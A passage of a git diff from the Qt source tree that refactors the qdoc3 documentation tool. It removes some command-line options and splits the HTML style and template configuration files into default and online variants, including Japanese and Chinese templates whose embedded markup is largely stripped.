funcLeftParen; QString style; + QString headerScripts; + QString headerStyles; + QString endHeader; QString postHeader; QString postPostHeader; QString creatorPostHeader; @@ -350,9 +348,6 @@ class HtmlGenerator : public PageGenerator #define HTMLGENERATOR_POSTPOSTHEADER "postpostheader" #define HTMLGENERATOR_CREATORPOSTHEADER "postheader" #define HTMLGENERATOR_CREATORPOSTPOSTHEADER "postpostheader" -#define HTMLGENERATOR_STYLE "style" -#define HTMLGENERATOR_STYLESHEETS "stylesheets" -#define HTMLGENERATOR_CUSTOMHEADELEMENTS "customheadelements" QT_END_NAMESPACE diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 2bfe38e..85b23e9 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -105,7 +105,6 @@ static bool showInternal = false; static bool obsoleteLinks = false; static QStringList defines; static QHash trees; -static QString appArg; // application /*! Find the Tree for language \a lang and return a pointer to it. @@ -193,24 +192,6 @@ static void processQdocconfFile(const QString &fileName) config.load(fileName); /* - Set the application to which qdoc will create the output. - The two applications are: - - creator: additional formatting for viewing in - the Creator application. - - online: full-featured online version with search and - links to Qt topics - */ - if (appArg.isEmpty()) { - qDebug() << "Warning: Application flag not specified on" - << "command line. Options are -creator (default)" - << "and -online."; - appArg = "creator"; - } - config.setStringList(CONFIG_APPLICATION, QStringList(appArg)); - - /* Add the defines to the configuration variables. */ QStringList defs = defines + config.getStringList(CONFIG_DEFINES); @@ -481,10 +462,6 @@ int main(int argc, char **argv) else if (opt == "-obsoletelinks") { obsoleteLinks = true; } - else if (opt == "-creator") - appArg = "creator"; - else if (opt == "-online") - appArg = "online"; else { qdocFiles.append(opt); } diff --git a/tools/qdoc3/test/qt-api-only.qdocconf b/tools/qdoc3/test/qt-api-only.qdocconf index cdd7a7c..36637d2 100644 --- a/tools/qdoc3/test/qt-api-only.qdocconf +++ b/tools/qdoc3/test/qt-api-only.qdocconf @@ -1,34 +1,2 @@ include(qt-build-docs.qdocconf) - -# Ensures that the generated index contains a URL that can be used by the -# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf, -# qmake.qdocconf). - -url = ./ - -# Ensures that the documentation for the tools is not included in the generated -# .qhp file. - -qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \ - $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \ - $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \ - $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \ - $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc - -# Remove the QML documentation from the Qt-only documentation. - -excludedirs += $QT_SOURCE_TREE/src/imports - -outputdir = $QT_BUILD_TREE/doc-build/html-qt -tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags -base = file:$QT_BUILD_TREE/doc-build/html-qt +include(qt-project-api-only.qdocconf) diff --git a/tools/qdoc3/test/qt-build-docs-online.qdocconf b/tools/qdoc3/test/qt-build-docs-online.qdocconf new file mode 100644 index 0000000..2962845 --- /dev/null +++ b/tools/qdoc3/test/qt-build-docs-online.qdocconf @@ -0,0 +1,2 @@ +include(qt-project.qdocconf) +include(qt-html-templates-online.qdocconf) diff --git a/tools/qdoc3/test/qt-build-docs.qdocconf b/tools/qdoc3/test/qt-build-docs.qdocconf index dcabeb4..4dbe1cd 100644 --- a/tools/qdoc3/test/qt-build-docs.qdocconf +++ b/tools/qdoc3/test/qt-build-docs.qdocconf @@ -1,147 +1,2 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) +include(qt-project.qdocconf) include(qt-html-templates.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = en_US - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.indexTitle = Qt Reference Documentation -qhp.Qt.indexRoot = - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - - - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 -qhp.Qt.subprojects = classes overviews examples -qhp.Qt.subprojects.classes.title = Classes -qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -qhp.Qt.subprojects.classes.selectors = class fake:headerfile -qhp.Qt.subprojects.classes.sortPages = true -qhp.Qt.subprojects.overviews.title = Overviews -qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs -qhp.Qt.subprojects.overviews.selectors = fake:page,group,module -qhp.Qt.subprojects.examples.title = Tutorials and Examples -qhp.Qt.subprojects.examples.indexTitle = Qt Examples -qhp.Qt.subprojects.examples.selectors = fake:example - -language = Cpp - -headerdirs = $QT_SOURCE_TREE/src \ - $QT_SOURCE_TREE/extensions/activeqt \ - $QT_SOURCE_TREE/tools/assistant/lib \ - $QT_SOURCE_TREE/tools/assistant/compat/lib \ - $QT_SOURCE_TREE/tools/designer/src/uitools \ - $QT_SOURCE_TREE/tools/designer/src/lib/extension \ - $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ - $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ - $QT_SOURCE_TREE/tools/qtestlib/src \ - $QT_SOURCE_TREE/tools/qdbus/src -sourcedirs = $QT_SOURCE_TREE/src \ - $QT_SOURCE_TREE/doc/src \ - $QT_SOURCE_TREE/extensions/activeqt \ - $QT_SOURCE_TREE/tools/assistant/lib \ - $QT_SOURCE_TREE/tools/assistant/compat/lib \ - $QT_SOURCE_TREE/tools/designer/src/uitools \ - $QT_SOURCE_TREE/tools/designer/src/lib/extension \ - $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ - $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ - $QT_SOURCE_TREE/tools/qtestlib/src \ - $QT_SOURCE_TREE/tools/qdbus - -excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ - $QT_SOURCE_TREE/src/3rdparty/des \ - $QT_SOURCE_TREE/src/3rdparty/freetype \ - $QT_SOURCE_TREE/src/3rdparty/harfbuzz \ - $QT_SOURCE_TREE/src/3rdparty/kdebase \ - $QT_SOURCE_TREE/src/3rdparty/libconninet \ - $QT_SOURCE_TREE/src/3rdparty/libjpeg \ - $QT_SOURCE_TREE/src/3rdparty/libmng \ - $QT_SOURCE_TREE/src/3rdparty/libpng \ - $QT_SOURCE_TREE/src/3rdparty/libtiff \ - $QT_SOURCE_TREE/src/3rdparty/md4 \ - $QT_SOURCE_TREE/src/3rdparty/md5 \ - $QT_SOURCE_TREE/src/3rdparty/patches \ - $QT_SOURCE_TREE/src/3rdparty/sha1 \ - $QT_SOURCE_TREE/src/3rdparty/sqlite \ - $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \ - $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \ - $QT_SOURCE_TREE/src/3rdparty/wintab \ - $QT_SOURCE_TREE/src/3rdparty/zlib \ - $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \ - $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \ - $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \ - $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \ - $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \ - $QT_SOURCE_TREE/doc/src/snippets \ - $QT_SOURCE_TREE/doc/src/ja_JP \ - $QT_SOURCE_TREE/doc/src/zh_CN - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" -examples.imageextensions = "*.png" - -exampledirs = $QT_SOURCE_TREE/doc/src \ - $QT_SOURCE_TREE/examples \ - $QT_SOURCE_TREE/examples/tutorials \ - $QT_SOURCE_TREE \ - $QT_SOURCE_TREE/qmake/examples \ - $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs -imagedirs = $QT_SOURCE_TREE/doc/src/images \ - $QT_SOURCE_TREE/examples \ - $QT_SOURCE_TREE/doc/src/declarative/pics \ - $QT_SOURCE_TREE/doc/src/template/images -outputdir = $QT_BUILD_TREE/doc/html -tagfile = $QT_BUILD_TREE/doc/html/qt.tags -base = file:$QT_BUILD_TREE/doc/html - -HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt-defines.qdocconf b/tools/qdoc3/test/qt-defines.qdocconf index 51ee0d3..bf7fd08 100644 --- a/tools/qdoc3/test/qt-defines.qdocconf +++ b/tools/qdoc3/test/qt-defines.qdocconf @@ -15,48 +15,3 @@ defines = Q_QDOC \ versionsym = QT_VERSION_STR codeindent = 1 - -# Files not referenced in any qdoc file (last four needed by qtdemo) -# See also qhp.Qt.extraFiles -extraimages.HTML = qt-logo \ - trolltech-logo \ - bg_l.png \ - bg_l_blank.png \ - bg_ll_blank.png \ - bg_ul_blank.png \ - header_bg.png \ - bg_r.png \ - box_bg.png \ - breadcrumb.png \ - bullet_gt.png \ - bullet_dn.png \ - bullet_sq.png \ - bullet_up.png \ - arrow_down.png \ - feedbackground.png \ - horBar.png \ - page.png \ - page_bg.png \ - sprites-combined.png \ - spinner.gif \ - stylesheet-coffee-plastique.png \ - taskmenuextension-example.png \ - coloreditorfactoryimage.png \ - dynamiclayouts-example.png - -# This stuff is used by the new doc format. -scriptdirs = $QT_SOURCE_TREE/doc/src/template/scripts -styledirs = $QT_SOURCE_TREE/doc/src/template/style - -scripts.HTML = functions.js \ - narrow.js \ - superfish.js \ - jquery.js - -styles.HTML = style.css \ - narrow.css \ - superfish.css \ - superfish_skin.css \ - style_ie6.css \ - style_ie7.css \ - style_ie8.css diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf new file mode 100644 index 0000000..103f1e0 --- /dev/null +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -0,0 +1,51 @@ +# Define the location of the templates to use. Style sheets and scripts are +# specified relative to the template directory and will be copied into +# subdirectories of the output directory. + +HTML.templatedir = $QT_SOURCE_TREE/doc/src/template + +HTML.stylesheets = style/style.css + +HTML.scripts = scripts/functions.js \ + scripts/narrow.js \ + + +# Files not referenced in any qdoc file (last four needed by qtdemo) +# See also qhp.Qt.extraFiles +extraimages.HTML = qt-logo \ + trolltech-logo \ + bg_l.png \ + bg_l_blank.png \ + bg_ll_blank.png \ + bg_ul_blank.png \ + header_bg.png \ + bg_r.png \ + box_bg.png \ + breadcrumb.png \ + bullet_gt.png \ + bullet_dn.png \ + bullet_sq.png \ + bullet_up.png \ + arrow_down.png \ + feedbackground.png \ + horBar.png \ + page.png \ + page_bg.png \ + sprites-combined.png \ + spinner.gif \ + stylesheet-coffee-plastique.png \ + taskmenuextension-example.png \ + coloreditorfactoryimage.png \ + dynamiclayouts-example.png + +# Include the style sheets and scripts used. + +HTML.headerstyles = \ + " \n" \ + " \n" + +HTML.headerscripts = + +HTML.endheader = \ + "\n" \ + "\n" diff --git a/tools/qdoc3/test/qt-html-online-styles.qdocconf b/tools/qdoc3/test/qt-html-online-styles.qdocconf new file mode 100644 index 0000000..06f8964 --- /dev/null +++ b/tools/qdoc3/test/qt-html-online-styles.qdocconf @@ -0,0 +1,77 @@ +# Define the location of the templates to use. Style sheets and scripts are +# specified relative to the template directory and will be copied into +# subdirectories of the output directory. + +HTML.templatedir = $QT_SOURCE_TREE/doc/src/template + +HTML.stylesheets = style/narrow.css \ + style/style.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/superfish.css + +# Adding jquery and functions - providing online tools and search features +HTML.scripts = scripts/functions.js \ + scripts/narrow.js \ + scripts/superfish.js \ + scripts/jquery.js + + +# Files not referenced in any qdoc file (last four needed by qtdemo) +# See also qhp.Qt.extraFiles +extraimages.HTML = qt-logo \ + trolltech-logo \ + bg_l.png \ + bg_l_blank.png \ + bg_ll_blank.png \ + bg_ul_blank.png \ + header_bg.png \ + bg_r.png \ + box_bg.png \ + breadcrumb.png \ + bullet_gt.png \ + bullet_dn.png \ + bullet_sq.png \ + bullet_up.png \ + arrow_down.png \ + feedbackground.png \ + horBar.png \ + page.png \ + page_bg.png \ + sprites-combined.png \ + spinner.gif \ + stylesheet-coffee-plastique.png \ + taskmenuextension-example.png \ + coloreditorfactoryimage.png \ + dynamiclayouts-example.png + +# Include the style sheets and scripts used. + +HTML.headerstyles = \ + " \n" \ + " \n" \ + " \n" \ + " \n" \ + " \n" \ + " \n" \ + "\n" \ + "\n" \ + "\n\n" + +HTML.headerscripts = \ + "\n" \ + "\n\n" + +HTML.endheader = \ + "\n" \ + "\n" diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf new file mode 100644 index 0000000..64f99ad --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -0,0 +1,198 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Home
    \n" \ + " Qt Reference Documentation\n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Search index:
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " Close \n" \ + "

    All | API | Articles | Examples

    \n" \ + "

     results:

    \n" \ + "
      \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " API Lookup

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Qt Topics

    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Examples

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" + +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    Thank you for giving your feedback.

    Make sure it is related to this specific page. For more general bugs and \n" \ + " requests, please use the Qt Bug Tracker.

    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "\n" \ + " \n" \ + " \n" diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 698164d..5a2058a 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -1,186 +1,48 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css +include(qt-html-default-styles.qdocconf) -HTML.postheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " Home
    \n" \ - " Qt Reference Documentation\n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " Search index:
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " Close \n" \ - "

    All | API | Articles | Examples

    \n" \ - "

     results:

    \n" \ - "
      \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " API Lookup

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Qt Topics

    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Examples

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
      \n" \ - "
    • Home
    • \n" \ - " \n" +HTML.postheader = \ + "
      \n" \ + "
      \n" \ + "
      \n" \ + " Home\n" \ + "
      \n" \ + " Qt Reference Documentation\n" \ + "
      \n" \ + "
      \n" \ + "
      \n" \ + "
      \n" \ + "
        \n" \ + "
      • Home
      • \n" \ + " \n" -HTML.postpostheader = "
      \n" \ - "
      \n" \ - "
      \n" \ - " \n" \ - "
      \n" \ - "
      \n" \ - "
      \n" +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" -HTML.footer = "" \ - "
    \n" \ - " [+] Documentation Feedback
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.

    \n" \ - "

    \n" \ - " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ - "
    \n" \ - "

    \n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.

    \n" \ - "

    \n" \ - " Alternatively, this document may be used under the terms of the GNU\n" \ - " Free Documentation License version 1.3\n" \ - " as published by the Free Software Foundation.

    \n" \ - "
    \n" \ - "
    \n" \ - "
    X
    \n" \ - "
    \n" \ - "

    Thank you for giving your feedback.

    Make sure it is related to this specific page. For more general bugs and \n" \ - " requests, please use the Qt Bug Tracker.

    \n" \ - "

    \n" \ - "

    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ No newline at end of file +HTML.footer = \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf new file mode 100644 index 0000000..fa15d90 --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf @@ -0,0 +1,176 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ +"
    \n" \ + "
    \n" \ + "
    \n" \ + " Home
    \n" \ + " Qt Reference Documentation\n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Search index:
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " API Lookup

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Qt Topics

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Examples

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" + +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf index da20766..18ed5c1 100644 --- a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf +++ b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf @@ -1,177 +1,63 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css - -HTML.postheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " Home
    \n" \ - " Qt Reference Documentation\n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " Search index:
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " API Lookup

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Qt Topics

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Examples

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
      \n" \ - "
    • Home
    • \n" \ - " \n" +include(qt-html-default-styles.qdocconf) -HTML.postpostheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" +HTML.postheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" -HTML.footer = " \n" \ - "
      \n" \ - " [+] Documentation Feedback
      \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.

    \n" \ - "

    \n" \ - " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ - "
    \n" \ - "

    \n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.

    \n" \ - "

    \n" \ - " Alternatively, this document may be used under the terms of the GNU\n" \ - " Free Documentation License version 1.3\n" \ - " as published by the Free Software Foundation.

    \n" \ - "
    \n" \ - "
    \n" \ - "
    X
    \n" \ - "
    \n" \ - "

    \n" \ - "

    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" +HTML.postpostheader = \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf new file mode 100644 index 0000000..285ec27 --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf @@ -0,0 +1,176 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Home
    \n" \ + " Qt Reference Documentation\n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Search index:
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " API Lookup

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Qt Topics

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Examples

    \n" \ + "
